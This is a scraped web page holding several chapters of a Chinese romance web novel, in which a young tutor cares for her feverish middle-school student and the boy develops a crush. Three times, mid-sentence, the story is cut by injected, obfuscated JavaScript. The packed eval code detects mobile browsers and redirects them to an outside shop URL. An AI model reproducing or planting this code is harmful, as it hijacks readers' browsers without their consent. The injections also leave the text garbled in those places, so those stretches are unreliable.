沈曜眉眼染上了隐忍的笑意,抿抿嘴,想笑又不好意思表现的太明显。其实上礼拜才是他的生日。大概是他和同学通电话商量去哪里庆祝时,她听岔了。 “嗯。”沈曜忍住嘴角的笑,垂下眼帘,掩去眸中晶亮的眸光。继而又想起什么,问她:“你带的另一个学生是男是女?他过生日的时候,你也送他小礼物吗?” 舒瑶没多想,便说:“女生,一个很可爱的初二小妹妹。她上个月过的生日,我送了她一套她喜欢的动漫周边。” 沈曜撇撇嘴,忽略掉心头那股隐隐的失落。他也不知道这一刻自己在期待什么。 “你刚吃完中饭,我估摸着你也吃不下。就意思着买了个小块的提拉米苏蛋糕,你当点心或宵夜吃吧。”舒瑶说着,又指了指围巾和手套,“最近气温降得快,我看你家玄关衣架上也没个围巾,就擅自给你买了一条。” 爸爸带娃一般都比较粗心吧。沈志鹏是律师,总是全国各地的出差,估计也顾不上一些小事。 舒瑶想起刚才碰到他的手很暖,说:“原来你不怕冷啊。早知道就不给你买围巾和手套了。” 沈曜没料到她这么细致入微,心里倏地被她的言辞和礼物暖到了,笑容终于在脸上漫开来,“谁说的。再过几天天气更冷,我可扛不住。这些礼物送的及时,我喜欢。” “喜欢就好。”舒瑶的眼神澄澈明亮,笑起来时眼睛弯弯的像月牙,潋滟的波光含在其中,容易让不小心窥见它的人陷进去。 沈曜不自在地咳了声,将视线从她脸上移开,“你快喝水吧。喝完给我上课。” -- 连绵的阴雨天总算结束,但随之而来的是温度骤降的天气。 升起不久的太阳挽救不了清晨的寒冷气温。 家门一开,冷风迎面扑来。沈曜感觉衣服里被寒风一灌,立马缩起脖子退回门内。 到底是进入十二月了,说不冷是骗人的。 沈曜下意识地在门口站了一会儿,眼角余光扫到玄关墙上挂的格子围巾,还没彻底清醒的起床气被莫名的赶跑了。那是舒瑶送的。 哥也是有围巾的人了~ 以往他都是把衣领拉高,缩着脖子忍耐一下就上学去了。反正学校离家里也就十分钟不到的路程。再说他的确不太怕冷,不到十二月,他都觉察不出冷。 沈志鹏一心扑在工作上,像给不给儿子买围巾这种小事他很少上心。 之前天气还没这么冷,所以沈曜也根本想不起来要戴这个。 瞧着那深蓝色的格子围巾,沈曜的嘴角泛起一丝笑意。他将它取下来,随意在脖子里绕了两圈,觉得暖和不少。 看来一条围巾顶半件毛衣这话不假。 沿街穿过一条人流熙攘的小路,来到热气腾腾的早点铺子前,沈曜买了一盒牛奶和两个肉包,边走边吃。临到校门口,最后一口包子刚吃完,肩膀就被挂住了。 “嘿!早啊兄弟!”周思诺故意勒了他一下,作弄的意味明显。 沈曜反手给了他一个脑崩儿。 “哎呦!”周思诺捂住脑袋,恼道:“不愧是亲兄弟啊。下手真狠。” “没你损。”沈曜撩起嘴角笑了笑。和我斗你还嫩点。 沈曜最近一直在想着方儿的和他爸斗法,心情总是阴晴不定。再加上他有点起床气,周思诺已经很久没在大清早就看见他露出笑容了。 “嗯??今早心情不错嘛。捡着钱啦?”周思诺从他这个笑容里,嗅出一丝不一样的味道。 沈曜慵懒地朝前走,虽然步子不快,但胜在腿长,行走速度并没被挂在自己肩上的人形挂件拖慢多少。“捡着也不给你。” “不对劲儿。”周思诺侧身仔细打量他,“今早你怎么有点风骚啊。我看看~”说着,还掰过他的脸,装模作样地左右瞧了瞧,“看看这唇红齿白的,多俏的脸,比小美眉的还俊。” “滚蛋。说什么蠢话呢。再说揍你。”沈曜瞪了他一眼。他最烦别人拿他的长相和女生比。 “行行。我可没说你娘啊,你要是娘,那我们学校就没真男人了。篮球打得好,干架也厉害。”周思诺开始拍马屁。 “马屁就算是真的,天天拍也会累。”沈曜呛他。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13258914|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周思诺还是觉得他今早有些不同,再细瞧,终于发现端倪。 沈曜的脸色红润了点,背也比昨天挺拔了点。“咦?你戴了围巾?” 沈曜嘴角的笑意未减,“才发现啊。我还以为你眼瞎。” 周思诺叹息:“原来是保暖工作做到位了啊。” “嗯哼。” 周思诺:= =||| 听这傲娇劲儿,一看就知道是女生送给他的。 “说吧。这围巾是哪个漂亮小妹妹送你的。能让你这么明目张胆地戴着上学?”周思诺好奇。 沈曜脸长得好看,身材也好,在学校和附近几所中学都是排得上号的风云人物。 前段时间他过生日那阵,送他各种帽子、围巾、手套的女生不在少数。为了避免麻烦,他统统退了回去。 戴哪一条都会被传闲话,他索性一概不收。 周思诺和他从小一起长大,对他非常了解,吊儿郎当地挂在他左肩,说:“肯定不是校内的。” 沈曜将书包取下,改了右边单肩背着,以免膈疼他,“继续猜。” “市三中的那个漂亮妹妹?还是柏美中学的那个初三学姐?” 沈曜睨他,毫不留情地吐槽,“你还能再狭隘一点儿么?” 周思诺“啧”了一声。这语气刺激到了他。他皱眉苦想,势必猜对,不然都对不起“亲兄弟”的封号。 脑中灵光一闪,周思诺不禁用力拍了他的肩一下,“我知道了!是上次到我们学校等你的那个漂亮姐姐!大你好几岁的那个!” 沈曜惊讶,侧过脸望着他,一副“这你都能猜到”的表情。 “哼哼。”周思诺得意的差点飞上天,单手捶了捶自己胸口,“别小看咱这多年的好兄弟。” 沈曜瞧他那欠劲儿,哂笑一声,“你就这方面最在行。” 周思诺丝毫不受他的挑衅,只顾着惊叹和八卦,“我天。真的啊。大你一两岁的喜欢你也就算了,那个我记得大你六、七岁吧。她、她也喜欢你?” “瞎说什么。把你那黄色脑袋洗洗。”沈曜鄙视他,“她是我家教。” “家教怎么了?不就是兼职的家教么。哎对了,她长得很正呐。有男朋友吗?” 沈曜认真想了想,“算有吧。” “算有是几个意思?” “暧昧期?”沈曜不太确定她和那个学长现在是什么关系,只能猜测。“那人好像会出国,他们都还在犹豫是否继续发展下去。” 周思诺一副“你开什么玩笑”的神情,“还带犹豫的?要是真的很喜欢,根本就忍不住。能忍住的,那都是用脑子权衡过利弊的,算不得情真意切。当然,如果喜欢的不够深,那也能忍住。我看就凭你这身材、这相貌,绝对能抢一抢。” 沈曜听他越说越离谱,头疼地又抽了他一下,“别胡说。没影儿的事儿让你说的和真的一样。我没那心思。” “哦。那算了。你俩差的确实有点多。”周思诺熄火的倒是快,“你要是追她,难度还不小咧。” 这回轮到沈曜奇了,挑眉瞅他,“我怎么不知道你这家伙一到动真格的时候怂的这么快。” 周思诺嘿嘿笑,“我这不是考虑到现实问题么。你如果真的喜欢上了她,我还是会有点同情你的。” 想了想,他又补充道:“不过你要是真敢追,兄弟我绝对挺你,你也绝对有希望。至少目前看来,她还挺关心你的。” 周思诺伸手摸了摸那柔软的围巾,“多体贴的小姐姐,对你又好,还那么漂亮。这简直就是白月光级别的。换了我,我肯定得心动。” 也不知是哪个字眼儿戳中了沈曜,他觉得自己的心弦好像被微微撩拨了一下,心里酥酥麻麻的,一时难以形容。 沈曜压住那一丝心悸,好气又好笑,“你这九拐十八弯的都说些什么乱七八糟的。少废话。赶紧走吧。快打铃了。” 那个清晨的对话在少年人匆匆的脚步声中草草结束。 可也是因为那场对话,在沈曜的心里埋下一颗不知名的种子,懵懂晦涩、难以名状。 8. 白月光(四) 岁月安然,无声无息已进入一月末。川城这天特别冷。 白天的雨到下午已停歇,可潮乎乎的水汽依然混进了冷空气的队伍里,流连不返。 舒瑶到沈曜家时,人都快冻麻了。雨停之后温度一降再降,她一边换拖鞋一边搓手,直到沈曜给她倒了杯热水,她手还是冰凉的。 “这天儿真冷。我都怀疑下午的雨里夹着雪了。”舒瑶捧着热水杯来回搓,好不容易才将手蹭暖和了一点。 沈曜将书桌整理好,文具准备好,坐到她身边,斜了她一眼,“知道这么冷,你还不戴手套?” 舒瑶嘻嘻笑了两声,脸颊漫上些微红晕,“男朋友送我到你家小区门口的,戴手套了还怎么把手塞他兜里。” 沈曜眉头一皱,白她一眼,嗤笑她,“小心思还挺多。你可真有出息。” 难怪最近几次下课了就跟赶场似的着急忙慌要走,原来是谈恋爱了。 “你懂什么。等你以后交了女朋友,说不定心眼儿比我还多。”舒瑶放开水杯,将准备好的上课材料拿出来递给他,雄心壮志地说:“好了不开玩笑,还剩没两节课了,今天姐姐我好好帮你总复习。让你争取期末考试冲年级前三!” 沈曜好奇心被她钓起来了,“你们谈多久了?他不出国了?” 舒瑶笑得腼腆,提到男朋友,她水灵灵的眼睛里浮起显而易见的甜意,“刚谈一个来月。他说就算出去也就半年的交流时间,半年我还能勉强等等。” 像是想到什么,她倏地捧着脸眼冒桃心,感叹道:“爱情来了真是挡都挡不住,上头。先谈着试试吧。” 看来是真的挺喜欢那男的了……沈曜捏着笔的手指不自觉地紧了紧,在心里嘲了她一句“恋爱脑”。 “把你那嘴角压一压,口水都要滴我桌上了。太花痴了你。”沈曜用手扣了几下桌面,提醒她:“赶紧收收心上课!” “行了行了。知道你很上进,为师非常欣慰。”舒瑶勉强压住翘起的嘴角,收敛心神,将注意力集中到手里的教材上。 以前她没谈过恋爱,看到那些恋爱中的同学脸上总是洋溢着压不住的喜悦,她一直难以理解。直到轮到自己,第一次恋爱,每天都在努力抑制自己才不会莫名其妙的傻笑。她才深刻体会到爱情的魔力。 沈曜警告她:“你谈归谈,别把人带我家楼下啊。我住哪栋楼可是我的隐私。” “放心啦。”小小年纪还挺缜密么。舒瑶瞥了他一眼,觉出不对劲,“咦?你眼睛好红,怎么了?脸也有些红。” 刚才没注意,现在她才发现沈曜的状态好像不太对。舒瑶倾身凑近盯着他的脸仔细看。 “没事。”沈曜拿笔敲了敲笔记本,眉头仍旧拧着,不耐烦地说:“还上不上课了。” “别急。还差两分钟才到上课时间呢。”舒瑶探出手,摸上了沈曜的额头。“你脸色不对,是不是身体不舒服啊?” 额头上忽然一凉,是舒瑶的手触到了他。沈曜僵着身体,愣住了。 “你干嘛啊?”沈曜被她的突然靠近看得有点不自在,朝一旁让了让,“头有点胀。大概是昨晚没睡好。” 手碰触到的肌肤有些烫,舒瑶惊讶道:“你发烧了呀。额头这么烫,难怪你会觉得头胀。” “……是吗?”沈曜随意撸了一把额头,没觉得有什么特别难以忍受的。 “你们男生真是粗心。温度计呢?家里常备药放哪儿了?”舒瑶顾不得上课了,忙不迭起身,边问沈曜边给他找温度计和退烧药。 “在客厅的五斗橱第二个抽屉。”沈曜揉了揉太阳穴,努力提神。 舒瑶找来温度计,给他一量,好家伙,38.4度。 “真的发烧了。”她又去厨房倒了温水,给沈曜冲了杯退烧药,“你还能上课吗?不行的话,我们今天就停一次。” 沈曜喝完药,觉得自己还能撑着,“还行。除了头有点胀疼,没别的感觉。今天就上完吧。下周就要期末考了。” 瞧他模样还算精神,舒瑶才安心坐下上课。 一堂课上完,沈曜都没表现出什么特别的异样。 舒瑶得知沈志鹏要明天下午才回来,于是叮嘱沈曜吃完晚饭、喝了药要继续关注体温。如果半夜不舒服,记得赶紧去医院。 沈曜嗯嗯着随便敷衍地答应了。 舒瑶觉得这孩子真可怜,父亲出差总是不在家,爷爷奶奶家离的又远,平时没病倒还好,遇见生病的时候就只能自己扛着了。 于是给他上完课,舒瑶亲眼看着他吃了粥、定好晚上吃药的闹钟,等他去房间休息才离开。 入夜,气温变得更低。窗外的北风呼啸,像是要把整片天地都冻住。 忙了一整天的舒瑶洗漱完毕,钻进温暖的被窝里打算舒舒服服地刷会儿手机就睡觉。 不知是哪家的窗户没关好,碎裂的玻璃声伴着冷戾风声陡然传入耳内,让人没来由的精神紧张。 舒瑶此时想起了沈曜。 不知道那小孩儿退烧了没?她委实有些放心不下,给他发了条消息。 [你瑶姐姐:你怎么样了?退烧了吗?] 等了一会儿,不见他回信。舒瑶想着,大概他在睡觉吧。 正打算放下手机,微信提示音恰好响了。 舒瑶点开微信,发现是沈曜发来的语音信息。 “我难受。没力气打字了。” 这声音听上去很不正常,沙哑又虚弱。 舒瑶心头一紧,双手捧着手机快速打字。 [你瑶姐姐:你嗓子怎么变成这样了。你拿体温计再测一下,几度了?拍下来发给我!] 过了一分钟左右,沈曜发了张照片过来。 “39.6!!!”看清了照片,舒瑶惊了,噌的一下从床上弹坐起来,直接给沈曜打电话。 “喂?你家附近还有没有亲戚啊?都烧得这么厉害了,你一个人在家不行吧。” 沈曜咳了几声,有气无力地说:“没。亲戚家都离的有些远。咳咳……” 舒瑶在他说话的档口,脑子里已经转了好几转。想让他联系附近住的同学,可是一想今天是星期四,明天星期五他们都得上课,找同学不合适。 又想到让他联系他那个住在同小区的继母,然而这想法才刚冒头,就立马被舒瑶给掐灭了。 不说沈曜对他那个继母有多抵触,光论那位继母还怀着宝宝这件事就不行。请个孕妇来照顾病号,万一累到了或者被传染了感冒,那才是真的惹了大麻烦。 “这样烧下去不行。会得肺炎的!”舒瑶犹豫了两秒,一边下床穿鞋一边说:“你还有力气的话,就先换好衣服。我找我同学借个车,开车送你去医院。” 沈曜似乎愣了一下,才乖乖的“哦”了一声,“你……你真的会来吗?” 男生此时的声音听上去软软的、糯糯的,像是无力、又像是隐隐地撒娇。 舒瑶从没听到过沈曜用这样的语气说话,内心被莫名地萌了一下,不禁放柔语调,开始哄小孩儿,“会来的。你乖乖等着。” “好。我等你。”沈曜无力含糊地低语着。 舒瑶用最快速度换好衣服,找室友借了车,飞奔出门。 沈曜又趴了会儿才万般艰难地从床上爬起来,一步一步地缓缓挪到大门口,一手扯过挂在玄关衣架上的羽绒服、一手拧开大门的把手。饶是这么几个简单的动作,已经耗尽了他所有的力气。 他身形猛恍,跌坐在玄关的矮凳上。 他觉得此时自己像个被沙漠烈阳暴晒了几天几夜的旅人,喉咙干渴的厉害,浑身滚烫。 他在半迷半醒间茫然四顾,可周遭除了刺茫茫的一片贫瘠的沙子,再无半点生机。 眼皮沉重的像被灌了铅,无论如何也抬不起来。 人在生病虚弱的时候,会变得消极,内心潜在的恐惧也会叫嚣着从阴暗的心灵深处攀爬而出。就好比现在的他。 一股无助的孤单和绝望笼罩全身,让他消沉的想就此长眠再也不醒来。 他感觉自己仿佛在火里炙烤,身边一切的一切都逐渐被漫天的火焰吞噬了。 蓦地,前方飘来一片凉意,像是白雪轻轻拂上脸颊,驱散了周身的热意。他被那股清凉的风给拖出了虚幻的火海。 沈曜努力眯缝着眼睛,迷蒙间见到一束光漫射进来,好似一盏明灯照亮了漆黑落寞的心湖。 大门被人打开,那人逆着楼道的灯光,向他走来。 ——是她来了。他在心里默默舒了口气。 * 舒瑶赶到沈曜家时,见他倚坐在玄关的矮凳上,身上随意裹了件中长款的黑色羽绒服,连拉链都没拉上。他气喘吁吁地仰着头靠在墙上,半睁半阖的眼睛通红,脸也通红。 舒瑶一见他敞开的羽绒服里就只穿了一件棉制的打底衫,而且还是低领的,声音中顿时带了几分焦急。“你怎么才穿这么点!外面风很大的!” 沈曜费力地摇摇头,半阖着眼睛说:“没力气了。只够套件外套外加给你开个门。” 舒瑶一听更急了。这孩子怕不会烧坏了吧。特殊时间,她顾不得那么多了。“你等我一下。” 说着,她直直冲进沈曜的房间,拉开他的衣柜,翻了一件厚毛衣出来拿到沈曜面前。 “来,把这毛衣套在里面。外面很冷,晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13258915|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上气温又降了。” 沈曜已经完全闭上了眼睛,靠在墙上艰难地呼吸,像是熬不住睡着了。 舒瑶见他实在难受,干脆将他扶起坐直,然后替他脱了羽绒服。 沈曜被眼皮覆着的眼珠滑动了两下,虽然闭着眼,嘴里却欠兮兮的没闲着,“你干嘛……别非礼我……我现在……柔弱不能自理。” “就你这样的?你在我眼里就是个孩子。少贫嘴,快把毛衣套上。” 舒瑶没好气地训了他两句,将毛衣套上他的头,一只手搂着他的肩,另一只手将他修长的胳膊塞进毛衣袖子里。 许是路上来的急,舒瑶没顾上戴手套。带着微薄凉意的指尖不小心滑过沈曜的颈侧,使他清醒了几分。 微微将眼睛睁开一条缝,沈曜瞥见舒瑶正取下玄关衣架上的围巾,接着蹲下-身体、凑到离他极近的地方给他戴。 好像已经很久没人这么照顾过自己了。不过自己也极少病得这么严重。沈曜迷迷糊糊地想,他感觉自己现在有点幸福。 有人为了他半夜冒着寒冷赶来,只为照顾他。 安心的感觉袭来,沈曜有了点儿闲情,脑中忽然浮起那句“风雪夜归人”。 家中有人归来,这种温馨的感觉真是久违了。 仔仔细细的将围巾在沈曜的脖子上绕了两圈,又替他穿好羽绒服、拉上衣服拉链,舒瑶才发现沈曜半睁着眼睛,眼神醺然地盯着自己,嘴角挂着若有似无的笑意,好像刚睡醒,又好像喝醉了。 “怎么了?很难受吗?”舒瑶担心地在他的额头和脸颊探了探温度,烫手的很,估计快超过40度了,换成稍微娇气点的小孩早就烧晕了。 舒瑶一阵心惊肉跳。 沈曜喘了喘,哑着嗓子道:“被你照顾的感觉,不赖。”迷蒙氤氲的眼神里染着笑意。 舒瑶听见他的话,心里有些酸楚,伸手摸摸他浓密的头发,刺刺的有点扎手。 沈曜的发型不是寸头,而是清爽的短发,约莫六、七厘米长的样子,照理来说应该不至于像寸头那么扎手。 应该是发质偏硬才会这样。都说头发硬的人脾气倔强好面子,看来是真的。如果不是烧到这个程度,估计他还会强忍着难受,不会和自己说实话。 “走吧,我陪你去医院。”她拉着他两只胳膊想让他从矮凳上站起来,结果拽了两下,居然没拽动。 这半大的小子瞧上去瘦,但真想拉动还挺费劲的。毕竟他的身高摆在那里。 “你站得起来吗?”舒瑶从进门就是一阵忙活,现在身上已经热得出汗了。 沈曜云里雾里地点点头,又摇摇头。 舒瑶不忍心和个生病的小男生计较太多,索性两手一伸,环抱住他的腰,扣紧双手,“来。我说一二三,你配合我一起用力气站起来。” 沈曜乖乖点头,“好。” “一二三!”数到三时,舒瑶狠狠用了把力气,总算把这男生给从矮凳上半抱着托站了起来。 沈曜站起来后,身体晃了晃,差点把脑袋靠在舒瑶肩膀上,“好晕……” “你都烧到快四十度了,不晕才怪。”舒瑶将他一只胳膊提起来,绕过自己肩膀搭着,另一只手搂紧他的腰,“走吧。扶你去医院。等会儿下楼搂紧我肩膀,免得脚下不稳滑倒,我可没自信能扶得住你。” “嗯。”沈曜抿紧嘴唇,意识不清地说:“我绝对不松手。” 说着,他像是想起什么,把手伸进外套里,慢吞吞地摸出一只口罩,递给舒瑶。“你戴着吧。我这次、病情来势汹汹,免得传染你。” 舒瑶开门的动作顿了一下,对他的细心感到意外,“好。谢谢。” “该我……谢谢你才对。”沈曜说话都费劲,勉强说完这两句,痛苦的皱起了脸。 两人晃晃悠悠地搀扶着下楼梯。 舒瑶的一颗心一直提着,生怕扶不稳把两人都摔了。沈曜家住三楼,到了二楼时,沈曜扛不住要求停下,在楼梯口坐了一小会儿,才又挂在舒瑶身上往一楼走下去。 下了楼,临出一楼的大门时,舒瑶将他扶靠在墙上,又帮他把帽子戴严实、掖紧围巾。确认给他裹得密不透风了,才将他再次扛扶着坐上车。 “你说说你,人不舒服还坚持上课。如果能早点去医院,肯定不会像现在烧得这么厉害。”舒瑶一边开车一边絮絮叨叨地训他。 少年将头抵在车壁上,身上虽然烧得难受,可表情竟是放松的。他头昏脑涨,却浑浑噩噩的想,如果她能一直陪在自己身边就好了。 每天放学回家和她吵架斗嘴,肯定很有意思。 哪怕只是听她念叨自己,应该也会很开心。 9. 白月光(五) 深夜十一点半的医院急诊室,人来人往,不比白天清静多少。气温降的快,许多人都感冒发烧,赶在夜里来医院看诊。 消毒水的味道充斥着整条走廊,弥漫在人群之间。 沈曜的病情是着凉加上细菌感染,难怪高烧不退。要不是舒瑶送他及时就医,真有可能烧出个好歹来。 医生接诊时还夸了句“这小伙子身体素质真不错,一般孩子烧成这样,人已经晕过去了。” 舒瑶听得心有余悸。 将沈曜安顿在输液室里挂上吊针,舒瑶才有了一点停歇的休息时间。她站在走廊上撑了个懒腰,又去医院的便利店里买了两杯牛奶和一瓶果汁,想着等会儿沈曜清醒过来,就给他喝点牛奶或果汁,补充一点维生素和蛋白质。 回来时,看到手长脚长的少年窝在座椅里眯觉,脑袋搭靠在椅背上,睡得并不安稳,眉头紧蹙、蓬松的头发翘起几撮呆毛,比平时瞧着越发显得青涩。 舒瑶笑着摇摇头,走到他身前,轻轻捧着他的脑袋和脖颈,帮他调整了一下姿势,好让他睡得舒服点。 沈曜正处于半梦半醒之间,被带有凉意的手触碰,立马就醒了。他缓缓睁开眼睛,与相隔不到半臂距离的舒瑶对视个正着。 沈曜的眼神十分迷茫无辜,人也有些木愣愣的,显然是还没彻底清醒。 舒瑶对他笑了笑,安抚道:“你这样睡,过一会儿脖子就得疼了。我帮你调整一下。” 沈曜定定地望着她,没说话,脖颈顺着舒瑶的手转动,蹭了蹭她微凉的掌心,果然舒适了很多。她身上飘来的淡淡馨香让他感觉安宁又亲切。 舒瑶出门的时候走得急,没来得及扎头发,此刻长发披肩,呈现出与往日干练精神不同的温柔与松弛感。 沈曜将视线慢慢移到她垂于鬓边的那缕头发上。它在顶灯的照耀下,彷如一缕墨色的绸缎,泛着温润水亮的光泽。沈曜忽然想伸手摸摸它,看看它是不是如他想象的那般丝滑。 “呼……好了。”舒瑶松开手,又帮他把衣领整理了一下,“继续睡吧。应该能舒服些。” 刚才帮沈曜调整睡姿一直弯着腰,现在她想直起身,却被沈曜突如其来的动作弄停了。 沈曜伸手拉住了她的一小把头发,略微用力地攥在手心里,眼睛更是一眨不眨地盯在她脸上。 舒瑶觉着他大概是哪里不太舒服,就半弯着腰耐心等待,也不催他。 隔了一会儿,他轻声问。“你要去哪儿?” 舒瑶的嘴唇动了动,还没来得及回答他,他却忽而态度一转,有点强硬道:“哪里也不准去!” 舒瑶被他这两句弄得有点懵。她眨眨眼,思忖片刻才明白过来,这小男生一生病,内心的安全感缺失就有点藏不住了,变得粘人,甚至还蛮横地撒起娇来。 舒瑶对他宠溺的笑笑,轻轻揉了一下他的头发,“睡会儿吧。姐姐哪儿也不去,在这儿陪你。” 沈曜很困倦,得到她的许诺、又见她在身旁的空位上坐下,终于满意地阖上眼皮。 她的头发果然很顺滑,沈曜心满意足的想。 不待片刻,睡意袭来,他抓着她头发的手放开,却改拉住她的袖子,用行动预防她的离开。 舒瑶低头瞧着他,手上未动。 平日里这男生拽得要命,找着机会就要怼自己两句才开心,只有生病的时候才像只柔弱又无理取闹的小动物。 舒瑶无奈,只得放任让他捏着自己的一只袖子,用另一只手刷起了手机打发时间。 时间随着秒针一点一滴地流逝,外面猛烈呜咽的寒风不知在何时渐渐歇止了。 医院的输液室里陆陆续续有人离开,空气仿佛都变清透了许多。 舒瑶看完一部电影,眼睛干涩的难受,抬头看了眼吊瓶,还剩将近一半没打完。于是她估摸着时间定了个闹钟,陪在沈曜身边也眯了一小觉。 等她醒来,发现吊瓶里的药液还剩一点,于是她轻轻晃了晃男生的胳膊将他摇醒。 “沈曜,别睡了。稍微醒一醒坐一会儿,免得等会儿出了医院又受凉。” 沈曜舒舒服服地睡了一觉,醒来时感觉精神好了不少。等到拔掉针头,他的脸色已看不出异常,就是嘴唇有点发白。 过来收吊针的小护士惊叹道:“年轻就是好啊。恢复的真快。” 沈曜靠坐在那儿睡了三个多小时,感觉人都快睡傻了。他站起身后原地蹦了两下整理衣服裤子,很有点生龙活虎的架势,“呼……感觉腿都麻了。” 舒瑶又碰了他的额头试温度,欣慰道:“退烧了。太好了。” “舒瑶,我们回去吧?”沈曜一双眼睛瓦亮瓦亮的,一种独属于少年人的勃勃生机掩都掩不住。他看向舒瑶的眼里写满了“我不想在医院呆着,好无聊”的讯息。 舒瑶也不想呆在医院里,与他一前一后的出了医院的门,开车回了沈曜家。 停车位离沈曜家的楼栋有点距离,两人下车后,绕着两栋单元楼走了一段,才发现风已停歇。 天空中纷纷扬扬地飘起白色的雪花,如絮一般濛濛散落,将黑色的寂夜衬出几分柔情,在这没有车声人语的安静世界漫天飞舞。 舒瑶和沈曜不知不觉停下脚步,一同仰头朝天空望去,无不感叹这稀有的夜色美景。 “下雪了。今年的初雪!”舒瑶惊喜地伸出手,去接那些纯洁无瑕的雪瓣。有几片雪花当真飘进她的手掌,被她的体温融化,汇聚成一小汪澄澈透明的雪水,积在她的掌心。 沈曜看飞雪看得目不转睛,轻喃道:“真美。川城很多年没下过雪了。” 舒瑶在原地转了几圈,故意朝前快走几步,拉开与沈曜之间的距离后,才开心地拿出手机边走边录。 她将空中飘雪拍成视频,给男朋友发了过去,又给他留了语音,“杨衍。我知道你睡着了,不过我帮你拍下来咯。快看,今年的初雪。” 恋爱中的女生和以前是不一样的。心中有情,在对待恋人时,脸上的表情、说话的语气都透出一股无与伦比的娇俏。那种由内而外展露出的甜蜜柔情,动人心魄。 沈曜腿长,见她离自己有点远,没怎么多想就加快脚步跟了过去。 听见舒瑶给她男友发语音留言的语气异于往常,他情不自禁将视线从空中移到她脸上,默默注视她。 舒瑶举着手机,将自己和雪夜一同拍进去,一边用手比了个心,一边对着手机自言自语:“听说刚在一起的情侣,看见初雪会永不分离哦。我知道你在美梦中,但是我不管,反正我拍了照片和视频给你,你一定会看到的,那也算我们一起看过啦~” 沈曜惊讶地望着她,眼睛瞪得溜圆。他从来不知道舒瑶有这么“小女人”的一面,她竟可以用这样撒娇的语气对别人说话。 镜头随着舒瑶转来转去的动作来回晃动,不小心将沈曜给拍进去了。 舒瑶定睛一看沈曜居然就在自己身后两、三米处,还一脸呆相地盯着自己,连忙关了屏幕,尴尬地扭头睨向他,“你那是什么奇怪的表情!我是什么稀奇动物么?!还有,你怎么离我这么近了?”刚才她明明将彼此的距离拉开了十多米才录制视频的。 沈曜怔了好一会儿,才清清嗓子,答非所问道:“原来你撒娇是这个样子啊。太稀罕了。我还以为你被嗲精附体了。” “咳咳咳……什么撒娇!”舒瑶趁着夜色正浓,脸红了也不怕,作势赶他往前走,“你这熊孩子懂什么。赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13258916|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进楼里去!” 舒瑶平时当着他的面不怎么叫他“孩子”,他想她大概是想尽力表现的对自己平等和尊重吧。只有在涉及某些不合适的话题,或者是她心虚的时候,才会故意为了撑气势叫自己“小孩、孩子”之类的词。 沈曜借着蒙昧的路灯,将她的害羞看个正着,心里好不得意,于是坏笑着作弄她说:“小姐姐,你搞搞清楚。我俩才是真正意义上一起看的初雪。怎么,你想给我补课补一辈子啊?” 舒瑶气得作势抬手想打他,“调戏谁呢你!少给我不正经!如果再着凉,我这晚上算是白忙了。请尊重我的劳动成果!” 沈曜不把她的怒气放在眼里,反而继续揶揄她,“我怎么不知道看见初雪的情侣会永不分离?这是你瞎编的吧。” 舒瑶被他说得有点窘,推了他一把,将他推进楼道里,“这种事当然是我说了算。我说它是,它就是。这叫恋爱的情趣,你懂不懂?!” “切~~不懂。” 两人半吵吵半开玩笑地进了家门,沈曜摁开玄关的灯,开始脱外套、换鞋。 室内静谧幽暗,舒瑶站在门口才后知后觉得反应过来。她现在所处的情况有点进退两难。 凌晨两点半,自己一个人,性别女,滞留在男学生家里……有点不妥,尽管这男生只是个初二的学生。 沈曜换好拖鞋,听见身后没了动静,转过身,发现舒瑶站在门口,并没有要换拖鞋的意思。“怎么了?快换鞋进屋啊。”他不明所以的问。 舒瑶的神情有些局促不自然。 沈曜的年纪还小,他没分寸感,并不表示自己可以没有。“嗯……你看你烧也退了,安全进了家门,我的任务也算完成了。我该走了。”舒瑶轻轻抠了抠脸。 说出这句话的一瞬间,舒瑶明显察觉到沈曜的脸色一沉。 室内倏然变得极其安静,安静的有点可怕。 玄关的灯只照亮了一小块空间,它悬在少年的头顶,昏黄的光线从上方打下来,将他脸部的轮廓映得比平时更深邃。 原来,少年阴沉下来的模样,挺摄人的。冷漠疏离,像是彼此刚认识那会儿的他。 “你也要离开了吗?”沈曜一动不动地俯视她,视线里有种说不出的冷意,声音沉沉的,透出一股拒人于千里之外的漠然,无形中让人觉得压迫,“不陪我了?” 嗯??? 舒瑶心里的警报让她难以开口将刚才说得话重复一次。 她总觉得少年这幽怨的语气……哪里不太对。 她从沈曜的话语中,听出了“你敢说走就尽管试试”的胁迫感。 “这大半夜的……我一女的在你家,你会不方便吧……这也不合适啊。”舒瑶干巴巴的解释,将手里拎得装药的袋子递给他。 